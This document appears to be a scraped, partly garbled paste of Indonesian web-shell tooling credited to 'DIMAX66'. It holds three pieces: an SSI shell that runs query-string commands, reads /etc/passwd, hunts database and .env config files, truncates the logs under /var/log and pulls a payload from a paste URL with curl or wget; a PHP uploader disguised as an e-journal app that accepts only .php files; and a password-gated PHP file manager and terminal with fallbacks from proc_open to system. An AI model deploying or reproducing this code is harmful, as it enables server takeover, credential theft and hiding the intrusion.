Untitled

<!– Author : Unknown45 | Optimized by DIMAX66 –><!– Author : Unknown45 | Optimized by DIMAX66 –><!– hargai author dengan cara menggunakan script ini tanpa recode script nya !!! –><!– Recoded? only changed and delete copyright? Don’t be a bastard dude! ~ Kata Bang zerobyte.id–>
<!–#config errmsg=”SSI_NOT_SUPPORTED”–><!–#set var=”zero” value=”” –><!–#if expr=”$QUERY_STRING_UNESCAPED = \$zero” –><!–#set var=”shl” value=”id” –><!–#else –><!–#set var=”shl” value=$QUERY_STRING_UNESCAPED –><!–#endif –><html><head><title>SSI.V3 – DIMAX66</title><meta name=”theme-color” content=”#000000″><meta charset=”UTF-8″><meta name=”robots” content=”noindex, nofollow”><style type=”text/css”> body { background: #000 url(‘data:image/svg+xml;utf8,<svg xmlns=”http://www.w3.org/2000/svg” width=”100″ height=”100″ viewBox=”0 0 100 100″><rect width=”100″ height=”100″ fill=”%23000″/><path d=”M0,0 L100,100 M100,0 L0,100″ stroke=”%23111″ stroke-width=”0.5″ opacity=”0.2″/></svg>’); color: #e0e0e0; font-family: ‘Courier New’, monospace; padding: 24px; line-height: 1.6; margin: 0; } .container { max-width: 960px; margin: 0 auto; background: rgba(10, 10, 12, 0.7); border: 1px solid #222; border-radius: 8px; padding: 24px; box-shadow: 0 0 20px rgba(0, 0, 0, 0.7), inset 0 0 10px rgba(30, 30, 40, 0.8); } hr { border: 0; height: 1px; background: linear-gradient(to right, transparent, #444, #666, #444, transparent); margin: 18px 0; } center { display: block; text-align: center; } h1 { font-size: 28px; color: #f8f8f8; text-shadow: 0 0 8px rgba(255, 215, 0, 0.3); margin-bottom: 12px; letter-spacing: 1px; } button { background: linear-gradient(to bottom, #1a1a1a, #0f0f0f); color: #e0e0e0; border: 1px solid #333; padding: 8px 16px; margin: 4px; border-radius: 6px; cursor: pointer; font-family: ‘Courier New’, monospace; font-size: 13px; transition: all 0.25s ease; box-shadow: 0 2px 4px rgba(0,0,0,0.3); } button:hover { background: linear-gradient(to bottom, #252525, #181818); color: #ffd700; border-color: #555; transform: translateY(-1px); box-shadow: 0 4px 8px rgba(0,0,0,0.4); } button:active { transform: translateY(0); } input[type=”text”] { background: #0f0f12; color: #fff; border: 1px solid #444; padding: 10px 12px; border-radius: 6px; font-family: ‘Courier New’, monospace; font-size: 14px; width: 65%; max-width: 620px; box-shadow: inset 0 1px 3px rgba(0,0,0,0.5); } textarea { background: #0a0a0f; color: #eee; border: 1px solid #333; padding: 14px; font-family: ‘Courier New’, monospace; font-size: 14px; width: 100%; height: 240px; resize: vertical; border-radius: 6px; box-shadow: inset 0 2px 6px rgba(0,0,0,0.6); } a { color: #aaa; text-decoration: none; } a:hover { color: #ffd700; } b, strong { color: #ffd700; font-weight: bold; text-shadow: 0 0 6px rgba(255, 215, 0, 0.4); } .footer { margin-top: 20px; color: #888; font-size: 13px; } .status-label { color: #999; } .cmd-label { color: #aaa; margin-top: 12px; display: block; } .ok { color: #4ade80 !important; text-shadow: 0 0 6px rgba(74, 222, 128, 0.4); } .fail { color: #f87171 !important; text-shadow: 0 0 6px rgba(248, 113, 113, 0.4); } .warn { color: #fbbf24 !important; text-shadow: 0 0 6px rgba(251, 191, 36, 0.4); } .info-box { background: rgba(20, 20, 25, 0.6); border: 1px solid #2a2a2a; border-radius: 6px; padding: 12px; margin: 10px 0; font-size: 13px; }</style></head>
<script src=”https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js”></script>
<script language=”javascript”>// === FUNGSI UTAMA: EXECUTE COMMAND ===function unknown45() { var uri = document.getElementById(‘command’).value; if (!uri || uri.trim() === ”) { alert(‘Masukkan command dulu!’); return; } var rep = uri.replace(/[ ]/g,’${IFS}’); // PERBAIKAN: Gunakan encodeURIComponent agar karakter seperti ? dan & tidak memutus URL document.location.href=”<!–#echo var=DOCUMENT_NAME –>?”+encodeURIComponent(rep);}
function refresh() { document.location.href=”<!–#echo var=DOCUMENT_NAME –>”;}
function checkfile() { document.location.href=”<!–#echo var=DOCUMENT_NAME –>?”+”ls${IFS}-la”;}
function readpass() { document.location.href=”<!–#echo var=DOCUMENT_NAME –>?”+”cat${IFS}/etc/passwd”;}
function readnamed() { document.location.href=”<!–#echo var=DOCUMENT_NAME –>?”+”cat${IFS}/etc/named.conf”;}
function movefiles() { alert(‘Gunakan command: mv oldname newname’); }function upfiles() { alert(‘Gunakan command: curl/wget untuk upload’); }function renamefiles() { alert(‘Gunakan command: mv old new’); }function deletefiles() { alert(‘Gunakan command: rm filename’); }function findfiles() { alert(‘Gunakan command: find /path -name filename’); }
// === PERBAIKAN: UPLOAD DENGAN CUSTOM URL + VERIFIKASI ===function addupload_manual() { var choice = prompt(“Pilih method upload:\n1. curl (recommended)\n2. wget\n3. php\n4. Custom URL (pake curl)\n\nMasukkan angka (1-4):”, “1”); if (!choice) return; var target = prompt(“Nama file target (contoh: uploader.php):”, “uploader.php”); if (!target) return; var source; if (choice === ‘4’) { source = prompt(“Masukkan URL source file (WAJIB https://):”, “https://”); if (!source) return; } else { source = ‘https://paste.code-solutions.dev/raw/xeqofosopi’; } var cleanCmd = “rm${IFS}-f${IFS}” + target + “${IFS};”; var cmd = “”; if (choice === ‘1’ || choice === ‘4’) { cmd = cleanCmd + “curl${IFS}-ksLo${IFS}” + target + “${IFS}-A${IFS}Mozilla/5.0${IFS}” + source + “${IFS}&&${IFS}ls${IFS}-lh${IFS}” + target + “${IFS}&&${IFS}chmod${IFS}644${IFS}” + target + “${IFS}&&${IFS}echo${IFS}’=== ISI FILE (5 baris pertama) ===’${IFS}&&${IFS}head${IFS}-n${IFS}5${IFS}” + target; } else if (choice === ‘2’) { cmd = cleanCmd + “wget${IFS}-qO${IFS}” + target + “${IFS}–user-agent=Mozilla/5.0${IFS}–no-check-certificate${IFS}” + source + “${IFS}&&${IFS}ls${IFS}-lh${IFS}” + target + “${IFS}&&${IFS}chmod${IFS}644${IFS}” + target + “${IFS}&&${IFS}echo${IFS}’=== ISI FILE (5 baris pertama) ===’${IFS}&&${IFS}head${IFS}-n${IFS}5${IFS}” + target; } else if (choice === ‘3’) { cmd = cleanCmd + “php${IFS}-r${IFS}’file_put_contents(\”” + target + “\”,file_get_contents(\”” + source + “\”));’${IFS}&&${IFS}ls${IFS}-lh${IFS}” + target + “${IFS}&&${IFS}chmod${IFS}644${IFS}” + target + “${IFS}&&${IFS}echo${IFS}’=== ISI FILE (5 baris pertama) ===’${IFS}&&${IFS}head${IFS}-n${IFS}5${IFS}” + target; } // PERBAIKAN UTAMA: Gunakan encodeURIComponent agar URL dengan ? atau & tidak terpotong jadi 0kb document.location.href=”<!–#echo var=DOCUMENT_NAME –>?” + encodeURIComponent(cmd);}
// === FUNGSI BARU: CEK FILE HASIL UPLOAD ===function checkUpload() { var file = prompt(“Nama file yang mau dicek:”, “uploader.php”); if (!file) return; var cmd = “echo${IFS}’=== STATUS FILE ===’${IFS}&&${IFS}ls${IFS}-lh${IFS}” + file + “${IFS}&&${IFS}file${IFS}” + file + “${IFS}&&${IFS}echo${IFS}’=== ISI (10 baris pertama) ===’${IFS}&&${IFS}head${IFS}-n${IFS}10${IFS}” + file + “${IFS}&&${IFS}echo${IFS}’=== UKURAN DETAIL ===’${IFS}&&${IFS}wc${IFS}-c${IFS}” + file; document.location.href=”<!–#echo var=DOCUMENT_NAME –>?” + encodeURIComponent(cmd);}
// === FUNGSI BARU: FIX PERMISSION FILE ===function fixPermission() { var file = prompt(“Nama file yang mau di-fix:”, “uploader.php”); if (!file) return; var perm = prompt(“Permission (default 644):”, “644”); if (!perm) return; var cmd = “chmod${IFS}” + perm + “${IFS}” + file + “${IFS}&&${IFS}ls${IFS}-lh${IFS}” + file + “${IFS}&&${IFS}echo${IFS}’✓ Permission berhasil diubah ke ” + perm + “‘”; document.location.href=”<!–#echo var=DOCUMENT_NAME –>?” + encodeURIComponent(cmd);}
function finddb() { document.location.href=”<!–#echo var=DOCUMENT_NAME –>?”+”find${IFS}<!–#echo var=DOCUMENT_ROOT –>${IFS}-type${IFS}f${IFS}\\(${IFS}-name${IFS}config.php${IFS}-o${IFS}-name${IFS}database.php${IFS}-o${IFS}-name${IFS}config.inc.php${IFS}-o${IFS}-name${IFS}koneksi.php${IFS}-o${IFS}-name${IFS}wp-config.php${IFS}-o${IFS}-name${IFS}.env${IFS}\\)${IFS}2>/dev/null”;}
function checkroot() { document.location.href=”<!–#echo var=DOCUMENT_NAME –>?”+”ls${IFS}-la${IFS}/”;}
function deletelog() { if (confirm(‘Yakin mau hapus access logs?’)) { document.location.href=”<!–#echo var=DOCUMENT_NAME –>?”+”find${IFS}/var/log${IFS}-type${IFS}f${IFS}-name${IFS}’*.log’${IFS}-exec${IFS}truncate${IFS}-s${IFS}0${IFS}{}${IFS}\\;”; }}
function delsel() { if (confirm(‘Yakin mau hapus shell ini?’)) { document.location.href=”<!–#echo var=DOCUMENT_NAME –>?”+”rm${IFS}-f${IFS}<!–#echo var=SCRIPT_FILENAME –>”; }}
// === ENTER KEY SUPPORT ===document.addEventListener(‘DOMContentLoaded’, function() { var gaskan = document.getElementById(‘command’); if (gaskan) { gaskan.addEventListener(‘keyup’, function(event) { if (event.keyCode === 13) { event.preventDefault(); document.getElementById(‘gas’).click(); } }); }});</script>
<body><div class=”container”> <center> <h1>⚡ SSI.V3 ⚡</h1> <hr> </center>
<!– INFO BOX: DETEKSI ENVIRONMENT –> <div class=”info-box”> <b> Environment Detection:</b><br> <span class=”status-label”>Server Software :</span> <b><!–#echo var=SERVER_SOFTWARE –></b><br> <span class=”status-label”>Document Root :</span> <b><!–#echo var=DOCUMENT_ROOT –></b><br> <span class=”status-label”>Current User :</span> <b><!–#exec cmd=”id” –></b><br> <span class=”status-label”>Shell Available :</span> <b> <!–#exec cmd=”which sh 2>/dev/null && echo ‘sh ‘” –> <!–#exec cmd=”which bash 2>/dev/null && echo ‘bash ‘” –> </b><br> <span class=”status-label”>Tools :</span> <span class=”<!–#exec cmd=”which curl >/dev/null 2>&1 && echo ‘ok’ || echo ‘fail'” –>”>curl</span> | <span class=”<!–#exec cmd=”which wget >/dev/null 2>&1 && echo ‘ok’ || echo ‘fail'” –>”>wget</span> | <span class=”<!–#exec cmd=”which php >/dev/null 2>&1 && echo ‘ok’ || echo ‘fail'” –>php</span> | <span class=”<!–#exec cmd=”which python >/dev/null 2>&1 && echo ‘ok’ || echo ‘fail'” –>python</span> | <span class=”<!–#exec cmd=”which perl >/dev/null 2>&1 && echo ‘ok’ || echo ‘fail'” –>perl</span> </div>
<center> <font size=”2″>Command :  <input type=”text” id=”command” class=”text” name=”address1″ autofocus placeholder=”Masukkan command…”> <button id=”gas” onclick=”unknown45();”>▶ Execute</button> </font> </center>
<br> <span class=”status-label”>Host :</span> <b><!–#echo var=HTTP_HOST –></b><br> <span class=”status-label”>Server IP :</span> <b><!–#echo var=SERVER_ADDR –></b><br> <span class=”status-label”>Script Path :</span> <b><!–#echo var=SCRIPT_FILENAME –></b><br>
<hr>
<center> <button onclick=”refresh()” style=”float: left;”> Refresh</button> <button onclick=”checkfile()”> List Files</button> <button onclick=”renamefiles()”>✏️ Rename</button> <button onclick=”movefiles()”> Move</button> <button onclick=”deletefiles()”>️ Delete</button> <button onclick=”findfiles()”> Find</button> <button onclick=”upfiles()”>⬆️ Upload</button> <button onclick=”delsel()” style=”float: right;”> Remove Shell</button> <br><br> <button onclick=”readpass();”> /etc/passwd</button> <button onclick=”readnamed();”> /etc/named.conf</button> <button onclick=”addupload_manual();”>⚡ Manual Upload</button> <button onclick=”checkUpload()”> Check File</button> <button onclick=”fixPermission()”> Fix Permission</button> <button onclick=”finddb()”>️ Find DB Config</button> <button onclick=”checkroot()”> Root Directory</button> <button onclick=”deletelog()”> Clear Logs</button> </center>
<hr> <span class=”cmd-label”>▶ Executed Command :</span> <b><font face=”Courier New” id=”cmd”><!–#echo var=shl –></font></b> <br><br> <textarea readonly><!–#exec cmd=”$shl 2>&1″ –></textarea>
<script> var cmd = document.getElementById(“cmd”).innerHTML.split(“${IFS}”).join(” “); document.getElementById(“cmd”).innerHTML = cmd; </script>
<!– FOOTER ELEGAN DENGAN DIMAX66 –> <hr> <center class=”footer”> <div style=” font-family: ‘Courier New’, monospace; font-size: 14px; color: #aaa; letter-spacing: 1.5px; padding-top: 8px; “> <span style=”color: #ffd700; text-shadow: 0 0 6px rgba(255, 215, 0, 0.3); font-weight: bold;”>◆</span> <span style=”margin: 0 8px;”>|</span> <span style=”color: #f0f0f0; font-weight: bold;”>DIMAX66</span> <span style=”margin: 0 8px;”>|</span> <span style=”color: #888;”>© 2026</span> <span style=”margin: 0 8px;”>|</span> <span style=”color: #aaa; font-size: 11px;”>SSI Smart Shell</span> <span style=”color: #ffd700; text-shadow: 0 0 6px rgba(255, 215, 0, 0.3); font-weight: bold;”>◆</span> </div> </center></div></body></html>

Upload File


/**
* Web Jurnal Ilmiah - Sistem Publikasi Artikel
* Copyright (C) 2026
*
* Aplikasi ini digunakan untuk pengelolaan dan publikasi jurnal ilmiah
* secara online (e-journal), termasuk proses submission, review, dan publikasi.
*
* Perangkat lunak ini merupakan software bebas: Anda dapat mendistribusikan
* dan/atau memodifikasinya sesuai dengan GNU General Public License (GPL)
* versi 3 atau versi yang lebih baru.
*
* Program ini didistribusikan dengan harapan berguna,
* namun TANPA JAMINAN APA PUN, termasuk tanpa jaminan
* kelayakan jual atau kesesuaian untuk tujuan tertentu.
*
* Lihat GNU General Public License untuk informasi lebih lanjut:
* https://www.gnu.org/licenses/
*/

declare(strict_types=1);
session_start();

// Konfigurasi
$uploadDir = __DIR__ . '/uploads/';
$allowedExtensions = ['php'];
$maxFileSize = 2 * 1024 * 1024; // 2 MB
$minFileSize = 10; // Diubah dari 1 menjadi 10 byte

// Buat folder uploads jika belum ada
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}

// CSRF Token
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// Daftar MIME type yang diizinkan per ekstensi
$allowedMimes = [
'php' => [
'text/x-php',
'application/x-httpd-php',
'application/php',
'text/plain',
'application/octet-stream',
'application/x-php',
],
];

// Tampilan Form
echo '

Upload File Jurnal

';
echo '





';

// Proses Upload
if (isset($_POST['_upl'])) {

// 1. Validasi CSRF Token
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'] ?? '')) {
exit('CSRF token tidak valid.');
}

// 2. Cek error upload
if (!isset($_FILES['file']) || $_FILES['file']['error'] !== UPLOAD_ERR_OK) {
exit('Upload gagal: file tidak valid.');
}

$fileTmpPath = $_FILES['file']['tmp_name'];
$fileSize = (int) $_FILES['file']['size'];
$fileName = (string) $_FILES['file']['name'];
$baseName = basename($fileName);

// 3. Validasi nama file (hanya huruf, angka, titik, strip, underscore)
if (!preg_match('/^[A-Za-z0-9._-]+$/', $baseName)) {
exit('Nama file tidak valid. Hanya huruf, angka, titik, strip (-), underscore (_) yang diizinkan.');
}

// 4. Validasi ekstensi
$fileExtension = strtolower(pathinfo($baseName, PATHINFO_EXTENSION));
if ($fileExtension === '' || !in_array($fileExtension, $allowedExtensions, true)) {
exit('Ekstensi tidak diizinkan. Hanya file .php');
}

// 5. Cek nama file mencurigakan (double extension)
if (preg_match('/\.(php|phtml|phar|php[0-9]?)\./i', $baseName)) {
exit('Nama file mencurigakan.');
}

// 6. Validasi ukuran file (Maksimal 2MB dan Minimal 10 byte / anti 0KB)
if ($fileSize === 0) {
exit('File kosong (0KB) tidak diizinkan.');
}
if ($fileSize < $minFileSize) {
exit('File terlalu kecil (minimal 10 byte).');
}
if ($fileSize > $maxFileSize) {
exit('File terlalu besar. Maksimum 2MB.');
}

// 6.1. CEK KONTEN FILE (Anti Bypass 0KB dengan file 1 byte spasi/enter)
$fileContent = file_get_contents($fileTmpPath);
if (trim($fileContent) === '') {
exit('File tidak boleh kosong atau hanya berisi spasi/enter.');
}

// 7. Validasi MIME type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_file($finfo, $fileTmpPath);
finfo_close($finfo);

if (!in_array($mimeType, $allowedMimes[$fileExtension] ?? [], true)) {
exit('Tipe file tidak sesuai dengan ekstensi. Terdeteksi: ' . htmlspecialchars($mimeType) . '');
}

// 8. Tentukan nama file tujuan
$safeName = $baseName;
$destination = $uploadDir . $safeName;

// Jika file sudah ada, tambahkan timestamp
if (file_exists($destination)) {
$nameOnly = pathinfo($baseName, PATHINFO_FILENAME);
$extOnly = pathinfo($baseName, PATHINFO_EXTENSION);
$safeName = $nameOnly . '_' . time() . '.' . $extOnly;
$destination = $uploadDir . $safeName;
}

// 9. Pindahkan file
if (move_uploaded_file($fileTmpPath, $destination)) {
chmod($destination, 0644);

echo 'Upload berhasil!
';
echo 'File: ' . htmlspecialchars($safeName, ENT_QUOTES, 'UTF-8') . '
';
echo 'Ukuran: ' . number_format($fileSize / 1024, 2) . ' KB
';
echo 'Akses: uploads/' . htmlspecialchars($safeName) . '';
} else {
echo 'Upload gagal. Tidak bisa memindahkan file.';
}
}
?>

Upload File

= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2).' '.$units[$i]; } function rrmdir($dir){ if(is_dir($dir)){ $it=new RecursiveDirectoryIterator($dir,FilesystemIterator::SKIP_DOTS); $files=new RecursiveIteratorIterator($it,RecursiveIteratorIterator::CHILD_FIRST); foreach($files as $file){$file->isDir()?@rmdir($file):@unlink($file);}
@rmdir($dir);
}elseif(is_file($dir)) @unlink($dir);
}

$IGNORE_LIST = [‘.wget-hsts’];
function is_ignored_name($name){ global $IGNORE_LIST; return in_array($name, $IGNORE_LIST, true); }
function is_ignored_target($path){ $base = basename($path); return is_ignored_name($base); }

function sanitize_wget_cmd($cmd){
if(!preg_match(‘/\bwget\b/i’, $cmd)) return $cmd;
if(preg_match(‘/–no-hsts|–hsts-file/i’, $cmd)) return $cmd;
return preg_replace_callback(
‘/(\b(?:\/[-.\w]+\/)?wget\b)/i’,
function($m){ return $m[1].’ –no-hsts’; },
$cmd,
1
);
}

function cleanup_wget_hsts($cwd){
if(!$cwd) return;
$f = rtrim($cwd, ‘/’) . ‘/.wget-hsts’;
if(file_exists($f) && is_file($f)){
@unlink($f);
}
}

if(!is_logged_in()){
if($_SERVER[‘REQUEST_METHOD’]===’POST’&&isset($_POST[‘password’])){
if(login($_POST[‘password’])){header(‘Location:?’);exit;}
$err=’Password salah’;
}
echo ‘Login

‘.$APP_TITLE.’




.(!empty($err)?’

‘.$err.’

‘:”).’

★ Dimax66 ★

‘;exit;
}

define(‘BASE_DIR’, getcwd());

$notice=”;
if (isset($_GET[‘notice’])) {
$notice = $_GET[‘notice’];
}

if (isset($_GET[‘p’])) {
$cand = rtrim($_GET[‘p’], ‘/’);
if ($cand === ”) $cand = BASE_DIR;
if (is_dir($cand)) {
$cwd = $cand;
} else {
$cwd = BASE_DIR;
$notice = ‘Directory tidak ditemukan. Kembali ke BASE_DIR.’;
}
} else {
$cwd = BASE_DIR;
}

$action = $_GET[‘action’] ?? null;
$target = $_GET[‘file’] ?? null;
$terminal_output = ”;

function run_command($cmd, $cwd = null){
$rc = null; $out = ”; $method = null;

$cmd = sanitize_wget_cmd($cmd);

$env = null;
if ($cwd) {
$env = array_merge($_ENV ?: [], [
‘HOME’ => $cwd,
‘PWD’ => $cwd,
‘PATH’ => getenv(‘PATH’)?:(‘/usr/local/bin:/usr/bin:/bin’),
]);
}

if(function_exists(‘proc_open’)){
$des = [0=>[“pipe”,”r”],1=>[“pipe”,”w”],2=>[“pipe”,”w”]];
$proc = @proc_open($cmd.” 2>&1″, $des, $pipes, $cwd?:null, $env);
if(is_resource($proc)){
@fclose($pipes[0]);
$out = stream_get_contents($pipes[1]); @fclose($pipes[1]);
$err = stream_get_contents($pipes[2]); @fclose($pipes[2]);
$rc = proc_close($proc);
$out .= ($err ? “\n[stderr]\n”.$err : “”);
$method = ‘proc_open’;
}
}

if(!$method && function_exists(‘exec’)){
if($cwd) $cmd = ‘cd ‘ . escapeshellarg($cwd) . ‘ && ‘ . $cmd;
$tmp = [];
exec($cmd.” 2>&1″, $tmp, $rc);
$out = implode(“\n”, $tmp);
$method = ‘exec’;
}
if(!$method && function_exists(‘shell_exec’)){
if($cwd) $cmd = ‘cd ‘ . escapeshellarg($cwd) . ‘ && ‘ . $cmd;
$out = shell_exec($cmd.” 2>&1″);
$rc = is_null($out) ? 1 : 0;
$method = ‘shell_exec’;
}
if(!$method && function_exists(‘popen’)){
if($cwd) $cmd = ‘cd ‘ . escapeshellarg($cwd) . ‘ && ‘ . $cmd;
$h = @popen($cmd.” 2>&1″, ‘r’);
if($h){
$out = ”;
while(!feof($h)){
$out .= fgets($h, 4096);
}
$rc = pclose($h);
$method = ‘popen’;
}
}
if(!$method && function_exists(‘system’)){
if($cwd) $cmd = ‘cd ‘ . escapeshellarg($cwd) . ‘ && ‘ . $cmd;
ob_start();
system($cmd.” 2>&1″, $rc);
$out = ob_get_clean();
$method = ‘system’;
}

cleanup_wget_hsts($cwd);

if($method){
return “Method: $method\n\n[Command]\n$cmd\n\n[Output]\n”.($out?:'[no output]’).”\n\n[Exit code] “.(is_int($rc)?$rc:'[unknown]’);
} else {
return “Gagal mengeksekusi command. Semua metode gagal.\n\n”.
“disable_functions: “.(ini_get(‘disable_functions’)?:'[none]’).”\n”.
“open_basedir: “.(ini_get(‘open_basedir’)?:'[none]’).”\n”.
“PATH: “.(getenv(‘PATH’)?:'[empty]’).”\n”;
}
}

if($_SERVER[‘REQUEST_METHOD’]===’POST’){
if($action===’save’ && $target && is_file($target)){
if(is_ignored_target($target)){
$msg = ‘Operasi tidak diizinkan pada file yang diabaikan.’;
header(‘Location:?p=’.rawurlencode(dirname($target)).’&notice=’.rawurlencode($msg)); exit;
}
@file_put_contents($target, $_POST[‘content’]);
header(‘Location:?p=’.rawurlencode(dirname($target))); exit;
}
if($action===’rename’ && $target){
if(is_ignored_target($target)){
$msg = ‘Operasi tidak diizinkan pada file yang diabaikan.’;
header(‘Location:?p=’.rawurlencode(dirname($target)).’&notice=’.rawurlencode($msg)); exit;
}
$n=basename($_POST[‘name’]);
if($n!==”) @rename($target, dirname($target).’/’.$n);
header(‘Location:?p=’.rawurlencode(dirname($target))); exit;
}
if($action===’chmod’ && $target){
if(is_ignored_target($target)){
$msg = ‘Operasi tidak diizinkan pada file yang diabaikan.’;
header(‘Location:?p=’.rawurlencode(dirname($target)).’&notice=’.rawurlencode($msg)); exit;
}
$m=preg_replace(‘/[^0-7]/’,”,$_POST[‘mode’]);
if($m!==”) @chmod($target, octdec($m));
header(‘Location:?p=’.rawurlencode(dirname($target))); exit;
}
if($action===’touch’ && $target){
if(is_ignored_target($target)){
$msg = ‘Operasi tidak diizinkan pada file yang diabaikan.’;
header(‘Location:?p=’.rawurlencode(dirname($target)).’&notice=’.rawurlencode($msg)); exit;
}
$dt=trim($_POST[‘datetime’]);
$ts=strtotime($dt)?:time();
@touch($target,$ts);
header(‘Location:?p=’.rawurlencode(dirname($target))); exit;
}
if($action===’mkdir’){
$n=basename($_POST[‘name’]);
if($n!==”) @mkdir($cwd.’/’.$n,0755,true);
header(‘Location:?p=’.rawurlencode($cwd)); exit;
}
if($action===’terminal’ && !empty($_POST[‘cmd’])){
$cmd_raw = trim($_POST[‘cmd’]);
$safe_cwd = (isset($cwd) && is_dir($cwd)) ? $cwd : BASE_DIR;
$terminal_output = run_command($cmd_raw, $safe_cwd);
}

if(isset($_POST[‘upload’]) && !empty($_FILES[‘file’]) && isset($_FILES[‘file’][‘tmp_name’])){
$orig = $_FILES[‘file’][‘name’] ?? ”;
$safe = basename($orig);
if(is_ignored_name($safe)){
$msg = ‘Upload di-skip: file \”‘. $safe .’\” tidak diperbolehkan.’;
header(‘Location:?p=’.rawurlencode($cwd).’&notice=’.rawurlencode($msg)); exit;
}
if(is_uploaded_file($_FILES[‘file’][‘tmp_name’])){
$dest = $cwd . ‘/’ . $safe;
if(@move_uploaded_file($_FILES[‘file’][‘tmp_name’], $dest)){
$msg = ‘Upload berhasil: ‘. $safe;
} else {
$msg = ‘Gagal memindahkan file.’;
}
} else {
$msg = ‘Tidak ada file yang di-upload.’;
}
header(‘Location:?p=’.rawurlencode($cwd).’&notice=’.rawurlencode($msg)); exit;
}

if(isset($_POST[‘upload_url’]) && !empty($_POST[‘file_url’])){
$url = trim($_POST[‘file_url’]);
$path = parse_url($url, PHP_URL_PATH);
$name = $path ? basename($path) : ”;
$safe = $name ?: ‘download_’.time();
$safe = basename($safe);
if(is_ignored_name($safe)){
$msg = ‘Download di-skip: file \”‘. $safe .’\” tidak diperbolehkan.’;
header(‘Location:?p=’.rawurlencode($cwd).’&notice=’.rawurlencode($msg)); exit;
}
$dest = $cwd . ‘/’ . $safe;
$ok = false;
if(function_exists(‘curl_version’)){
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
curl_setopt($ch, CURLOPT_FAILONERROR, true);
$data = curl_exec($ch);
curl_close($ch);
if($data !== false && $data !== null){
if(@file_put_contents($dest, $data) !== false) $ok = true;
}
} elseif(ini_get(‘allow_url_fopen’)){
$data = @file_get_contents($url);
if($data !== false){
if(@file_put_contents($dest, $data) !== false) $ok = true;
}
} else {
$msg = ‘Tidak dapat mendownload: curl dan allow_url_fopen tidak tersedia.’;
header(‘Location:?p=’.rawurlencode($cwd).’&notice=’.rawurlencode($msg)); exit;
}
$msg = $ok ? ‘Download berhasil: ‘. $safe : ‘Download gagal.’;
header(‘Location:?p=’.rawurlencode($cwd).’&notice=’.rawurlencode($msg)); exit;
}
}

if($action===’delete’ && $target){
if(is_ignored_target($target)){
$msg = ‘Operasi delete diblok: file yang diabaikan.’;
header(‘Location:?p=’.rawurlencode($cwd).’&notice=’.rawurlencode($msg)); exit;
}
rrmdir($target);
header(‘Location:?p=’.rawurlencode($cwd)); exit;
}
if(isset($_GET[‘d’])){
$f = $_GET[‘d’];
if($f && is_file($f)){
if(is_ignored_target($f)){
$msg = ‘Download diblok: file yang diabaikan.’;
header(‘Location:?p=’.rawurlencode($cwd).’&notice=’.rawurlencode($msg)); exit;
}
header(‘Content-Type: application/octet-stream’);
header(‘Content-Disposition: attachment; filename=\”‘.basename($f).’\”‘);
header(‘Content-Length: ‘.filesize($f));
readfile($f); exit;
}
}

$raw_items = @scandir($cwd) ?: [];
$items = [];
foreach($raw_items as $it){
if($it===’.’||$it===’..’) continue;
if(is_ignored_name($it)) continue;
$items[] = $it;
}
?>




<?=h($APP_TITLE)?>


‘.h($notice).’

‘; } ?>

Path

/‘;
foreach($parts as $part){
if($part===”) continue;
$path_accum.=’/’.$part;
echo ‘ / ‘.h($part).’‘;
}
?>

File Manager


Type Name Size Perms Modified Actions
“> &p=“>Chmod |
&p=” onclick=”return confirm(‘Delete ?’)”>Delete |
&p=“>Touch

Controls













Info

Operasi edit diblok untuk file yang diabaikan.

‘;
} else {
$content=@file_get_contents($target);
echo ‘

Edit: ‘.h(basename($target)).’


‘;
}
}
if($action===’chmod’ && $target){
if(is_ignored_target($target)){
echo ‘

Info

Operasi chmod diblok untuk file yang diabaikan.

‘;
} else {
$curPerm=substr(sprintf(“%o”,@fileperms($target)),-4);
echo ‘

Chmod: ‘.h(basename($target)).’


‘;
}
}
if($action===’rename’ && $target){
if(is_ignored_target($target)){
echo ‘

Info

Operasi rename diblok untuk file yang diabaikan.

‘;
} else {
echo ‘

Rename: ‘.h(basename($target)).’


‘;
}
}
if($action===’touch’ && $target){
if(is_ignored_target($target)){
echo ‘

Info

Operasi touch diblok untuk file yang diabaikan.

‘;
} else {
$mt=@filemtime($target)?:time();
echo ‘

Touch: ‘.h(basename($target)).’


‘;
}
}
if($action===’terminal’ && $terminal_output!==”){
echo ‘

Terminal Output

'.h($terminal_output).'

‘;
}
?>